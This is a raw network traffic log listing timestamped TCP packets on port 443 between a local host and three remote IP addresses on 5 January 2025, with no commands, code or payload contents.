Jan 5, 2025 17:55:27.335067034 CET	443	49763	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:30.407902956 CET	443	49763	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:30.408003092 CET	443	49763	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:30.408056974 CET	49763	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:30.408149958 CET	49763	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:30.408163071 CET	443	49763	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:30.658587933 CET	49788	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:30.658622026 CET	443	49788	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:30.658813000 CET	49788	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:30.659004927 CET	49788	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:30.659020901 CET	443	49788	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:31.135201931 CET	443	49788	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:31.135292053 CET	49788	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:31.136420965 CET	49788	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:31.136429071 CET	443	49788	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:31.136771917 CET	443	49788	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:31.138072968 CET	49788	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:31.138231993 CET	49788	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:31.138259888 CET	443	49788	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:32.428847075 CET	443	49788	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:32.428996086 CET	443	49788	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:32.429090977 CET	49788	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:32.429192066 CET	49788	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:32.429208040 CET	443	49788	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:32.472923994 CET	49799	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:32.472966909 CET	443	49799	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:32.473042011 CET	49799	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:32.473352909 CET	49799	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:32.473366976 CET	443	49799	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:32.932801008 CET	443	49799	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:32.933018923 CET	49799	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:32.934842110 CET	49799	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:32.934853077 CET	443	49799	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:32.935235977 CET	443	49799	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:32.936455011 CET	49799	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:32.936546087 CET	49799	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:32.936551094 CET	443	49799	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:33.544207096 CET	443	49799	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:33.544308901 CET	443	49799	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:33.544469118 CET	49799	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:33.544661999 CET	49799	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:33.544680119 CET	443	49799	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:33.907674074 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:33.907706022 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:33.907804966 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:33.908492088 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:33.908504963 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:34.387141943 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:34.387274027 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.388735056 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.388745070 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:34.389010906 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:34.390458107 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.391179085 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.391206026 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:34.391300917 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.391331911 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:34.391464949 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.391500950 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:34.391752958 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.391788006 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:34.391952038 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.391984940 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:34.392129898 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.392158985 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:34.392172098 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.392183065 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:34.392306089 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.392333031 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:34.392355919 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.392482042 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.392514944 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.401316881 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:34.401488066 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.401515961 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:34.401530981 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.401556969 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:34.401578903 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.401607037 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:34.401617050 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:34.401637077 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:35.999627113 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:35.999711037 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:35.999809980 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:35.999968052 CET	49810	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:35.999974966 CET	443	49810	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:36.003334999 CET	49826	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:36.003354073 CET	443	49826	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:36.003441095 CET	49826	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:36.003978968 CET	49826	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:36.003988981 CET	443	49826	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:36.467156887 CET	443	49826	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:36.467251062 CET	49826	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:36.468501091 CET	49826	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:36.468504906 CET	443	49826	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:36.468753099 CET	443	49826	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:36.469924927 CET	49826	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:36.469950914 CET	49826	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:36.469980001 CET	443	49826	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:36.919750929 CET	443	49826	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:36.919832945 CET	443	49826	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:36.919882059 CET	49826	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:36.920263052 CET	49826	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:36.920275927 CET	443	49826	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:36.982240915 CET	49832	443	192.168.2.5	185.161.251.21
Jan 5, 2025 17:55:36.982278109 CET	443	49832	185.161.251.21	192.168.2.5
Jan 5, 2025 17:55:36.982367992 CET	49832	443	192.168.2.5	185.161.251.21
Jan 5, 2025 17:55:36.982707977 CET	49832	443	192.168.2.5	185.161.251.21
Jan 5, 2025 17:55:36.982724905 CET	443	49832	185.161.251.21	192.168.2.5
Jan 5, 2025 17:55:37.633001089 CET	443	49832	185.161.251.21	192.168.2.5
Jan 5, 2025 17:55:37.633228064 CET	49832	443	192.168.2.5	185.161.251.21
Jan 5, 2025 17:55:37.637871981 CET	49832	443	192.168.2.5	185.161.251.21
Jan 5, 2025 17:55:37.637882948 CET	443	49832	185.161.251.21	192.168.2.5
Jan 5, 2025 17:55:37.638128042 CET	443	49832	185.161.251.21	192.168.2.5
Jan 5, 2025 17:55:37.639240980 CET	49832	443	192.168.2.5	185.161.251.21
Jan 5, 2025 17:55:37.679327965 CET	443	49832	185.161.251.21	192.168.2.5
Jan 5, 2025 17:55:37.900191069 CET	443	49832	185.161.251.21	192.168.2.5
Jan 5, 2025 17:55:37.900250912 CET	443	49832	185.161.251.21	192.168.2.5
Jan 5, 2025 17:55:37.900300026 CET	49832	443	192.168.2.5	185.161.251.21
Jan 5, 2025 17:55:37.900456905 CET	49832	443	192.168.2.5	185.161.251.21
Jan 5, 2025 17:55:37.900470972 CET	443	49832	185.161.251.21	192.168.2.5
Jan 5, 2025 17:55:37.942090034 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:37.942128897 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:37.942188978 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:37.942549944 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:37.942564964 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.413691044 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.413777113 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.419332027 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.419348955 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.419576883 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.421499968 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.467330933 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.682194948 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.682254076 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.682284117 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.682308912 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.682329893 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.682368040 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.682384014 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.682389975 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.682419062 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.682425022 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.682432890 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.682478905 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.682868004 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.686846018 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.686877012 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.686892033 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.686899900 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.686948061 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.770699978 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.770793915 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.770823956 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.770837069 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.770847082 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.770889997 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.771183968 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.771437883 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.771483898 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.771491051 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.771532059 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.771565914 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.771579027 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.771588087 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.771615982 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.771625996 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.771632910 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.771677971 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.772313118 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.772392035 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.772423029 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.772435904 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.772444010 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.772475004 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.772494078 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.772501945 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.772542953 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.772550106 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.773376942 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.773411036 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.773426056 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.773433924 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.773482084 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.773488045 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.824341059 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.824350119 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.862257957 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.862298965 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.862308979 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.862318993 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.862353086 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.862379074 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.862385988 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.862430096 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.862730026 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.862739086 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.862787962 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.862911940 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.862919092 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.862967014 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.863055944 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.863111973 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.863231897 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.863290071 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.863409996 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.863481045 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.863589048 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.863625050 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.863648891 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.863655090 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.863687038 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.863697052 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.863759041 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.863812923 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.864548922 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.864594936 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.864602089 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.864608049 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.864628077 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.864664078 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.864670038 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.864686012 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.864689112 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.864710093 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.864717960 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.864738941 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.865185976 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.865238905 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.865246058 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.865291119 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.865360975 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.865415096 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.949229002 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.949287891 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.949300051 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.949312925 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.949325085 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.949387074 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.949394941 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.949632883 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.949673891 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.949681044 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.949722052 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.949811935 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.949858904 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.949887037 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.949933052 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.949937105 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.949944019 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.949976921 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.950463057 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.950505018 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.950511932 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.950520992 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.950552940 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.950553894 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.950567007 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.950586081 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.950599909 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.950634003 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.950642109 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.950650930 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.951181889 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.951232910 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.951236963 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.951251030 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.951292038 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.951293945 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.951328993 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.951334953 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.951344967 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.951375961 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.951381922 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.951391935 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.951400995 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.951445103 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.951450109 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.951497078 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.952331066 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.952382088 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.952383995 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.952394009 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.952429056 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.952440977 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.952446938 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.952466965 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.952471972 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.952505112 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.952519894 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.952524900 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.952555895 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.953285933 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.953325987 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.953340054 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.953346014 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.953377008 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.953386068 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.953413963 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.953422070 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.953428984 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.953471899 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:38.990865946 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:38.990942001 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.043488979 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.043534994 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.043576002 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.043601990 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.043616056 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.043867111 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.043883085 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.043921947 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.043930054 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.043956041 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.044552088 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.044567108 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.044640064 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.044648886 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.045047045 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.045063019 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.045125961 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.045135021 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.047986984 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.048002005 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.048052073 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.048060894 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.048089027 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.048554897 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.048569918 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.048614979 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.048623085 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.048644066 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.048975945 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.048994064 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.049026012 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.049032927 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.049060106 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.049071074 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.049076080 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.049110889 CET	49843	443	192.168.2.5	172.67.208.58
